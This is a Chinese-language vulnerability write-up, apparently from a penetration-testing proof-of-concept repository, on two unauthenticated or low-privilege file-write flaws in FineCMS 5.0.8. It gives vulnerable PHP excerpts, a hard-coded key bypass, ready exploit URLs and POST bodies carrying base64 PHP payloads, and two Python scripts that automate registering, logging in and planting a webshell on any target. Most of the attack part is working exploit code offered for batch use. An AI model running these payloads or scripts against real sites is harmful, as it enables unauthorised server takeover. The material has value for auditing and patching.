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https://github.com/Mr-xn/Penetration_Testing_POC.git
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mr-xn
209 lines
7.8 KiB
Markdown
209 lines
7.8 KiB
Markdown
## 0x01 前言
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就要被**，美其名曰：比我的web安全研究和代码审计更有前途。当然是选择原谅他啦。
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先审计finecms去去火，找到六处漏洞，先放两处容易被发现的getshell和对应的两个python脚本
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## 0x02 getshell
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**第一处getshell**：在C:/phpStudy/WWW/finecms/dayrui/controllers/Api.php中的data2函数，大约在第115行，有问题的代码大约在178行
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```
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public function data2() {
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$data = array();
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// 安全码认证
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$auth = $this->input->get('auth', true);
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if ($auth != md5(SYS_KEY)) {
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// 授权认证码不正确
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$data = array('msg' => '授权认证码不正确', 'code' => 0);
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} else {
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// 解析数据
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$cache = '';
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$param = $this->input->get('param');
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if (isset($param['cache']) && $param['cache']) {
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$cache = md5(dr_array2string($param));
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$data = $this->get_cache_data($cache);
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}
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if (!$data) {
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if ($param == 'login') {
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// 登录认证
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$code = $this->member_model->login(
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$this->input->get('username'),
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$this->input->get('password'),
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0, 1);
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if (is_array($code)) {
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$data = array(
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'msg' => 'ok',
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'code' => 1,
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'return' => $this->member_model->get_member($code['uid'])
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);
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} elseif ($code == -1) {
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$data = array('msg' => fc_lang('会员不存在'), 'code' => 0);
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} elseif ($code == -2) {
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$data = array('msg' => fc_lang('密码不正确'), 'code' => 0);
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} elseif ($code == -3) {
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$data = array('msg' => fc_lang('Ucenter注册失败'), 'code' => 0);
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} elseif ($code == -4) {
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$data = array('msg' => fc_lang('Ucenter：会员名称不合法'), 'code' => 0);
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}
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} elseif ($param == 'update_avatar') {
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// 更新头像
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$uid = (int)$_REQUEST['uid'];
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$file = $_REQUEST['file'];
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//
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// 创建图片存储文件夹
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$dir = SYS_UPLOAD_PATH.'/member/'.$uid.'/';
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@dr_dir_delete($dir);
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if (!is_dir($dir)) {
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dr_mkdirs($dir);
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}
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$file = str_replace(' ', '+', $file);
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if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
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$new_file = $dir.'0x0.'.$result[2];
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if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
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$data = array(
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'msg' => '目录权限不足或磁盘已满',
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'code' => 0
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);
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}
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```
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其中，首先
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```
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$file = $_REQUEST['file'];
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```
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获取$file变量
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```
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if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
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$new_file = $dir.'0x0.'.$result[2];
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if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
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$data = array(
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'msg' => '目录权限不足或磁盘已满',
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'code' => 0
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);
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```
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然后用preg_match函数进行正则匹配，因为$file变量可控，所以$result也是可控的，从而$new_file也是可控的，可以构造为php文件，然后
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```
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file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file))))
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```
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对$result[1]进行base64解码，然后写入$new_file文件中。显然，是可以任意写文件进行getshell的。所以，我们要让程序能够运行到这些代码，不能在之前就退出了。要经过
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```
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$auth = $this->input->get('auth');
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if ($auth != md5(SYS_KEY))
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```
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SYS_KEY被系统硬编码为24b16fede9a67c9251d3e7c7161c83ac，在C:phpStudyWWWconfigsystem.php中有定义。直接md5加密一次即可绕过
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所以最终的payload为
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```
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http://localhost:88/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=update_avatar&file=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+
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```
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无需登录，直接getshell,路径为http://localhost:88/uploadfile/member/0/0x0.php
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**第二处getshell**：在文件C:/phpStudy/WWW/finecms/dayrui/controllers/member/Account.php中的upload函数
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```php
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if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
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$new_file = $dir.'0x0.'.$result[2];
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if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
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exit(dr_json(0, '目录权限不足或磁盘已满'));
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```
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注册会员，登录
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```
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访问：http://localhost:88/index.php?s=member&c=account&m=upload
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POST：tx=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+
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```
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## 0x03 Python批量poc脚本
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pocsuite和poc-T是两个成熟的poc框架，不过感觉核心代码是别人的，只写一些poc插件的话，就是为别人造轮子，所以抽了一些代码写了个自己的工具，可能连轻型框架都算不上，只够自己用的。
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第一处getshell的python代码（因为是直接getshell，无需登录，所以很简单）：
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```python
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import sys
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import requests
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def poc(target):
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payload="/index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467¶m=update_avatar&file=data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+"
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url=target+payload
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shell=target+'/uploadfile/member/0/0x0.php'
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try:
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result=requests.get(url,timeout=3)
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verify=requests.get(shell,timeout=3)
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if verify.status_code==200 and 'code' in verify.text:
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return True
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except Exception,e:
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print e
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```
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第二处getshell的Python代码（需要自动化注册、登录、利用）：
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```python
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#Finecms version:5.0.8
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#Author:404notfound
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import random
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import sys
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import requests
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def poc(url):
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username=random.randint(0,999999)
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seed = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
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email = []
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for i in range(8):
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email.append(random.choice(seed))
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email = ''.join(email)
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#print email+"@"+email+".com"
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#print username
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#step 1 register
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#print "[+] register user"
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register_url=url+"/index.php?s=member&c=register&m=index"
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register_payload={"back":"","data[username]":username,"data[password]":"123456","data[password2]":"123456","data[email]":email+"@"+email+".com"}
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#step 2 login
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#print "[+] user login"
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login_url=url+"/index.php?s=member&c=login&m=index"
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login_payload={"back":"","data[username]":username,"data[password]":"123456","data[auto]":"1"}
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#step 3 attack
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#print "[+] loading payload"
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vul_url=url+"/index.php?s=member&c=account&m=upload"
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vul_payload={"tx":"data:image/php;base64,NDA0bm90Zm91bmQ8P3BocCBwaHBpbmZvKCk7Pz4="}
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try:
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s = requests.session()
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resu=s.post(register_url,data=register_payload)
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result=s.post(login_url,data=login_payload)
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result2=s.post(vul_url,data=vul_payload).content
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if "status" in result2:
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return True
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else:
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return False
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except Exception,e:
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pass
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#print e
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#print "[+] ALL DONE"
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#step 4 find shell path
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#print poc("http://localhost")
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```
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主代码就不贴了，可以看我的GitHub：https://github.com/404notf0und
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效果还不错：
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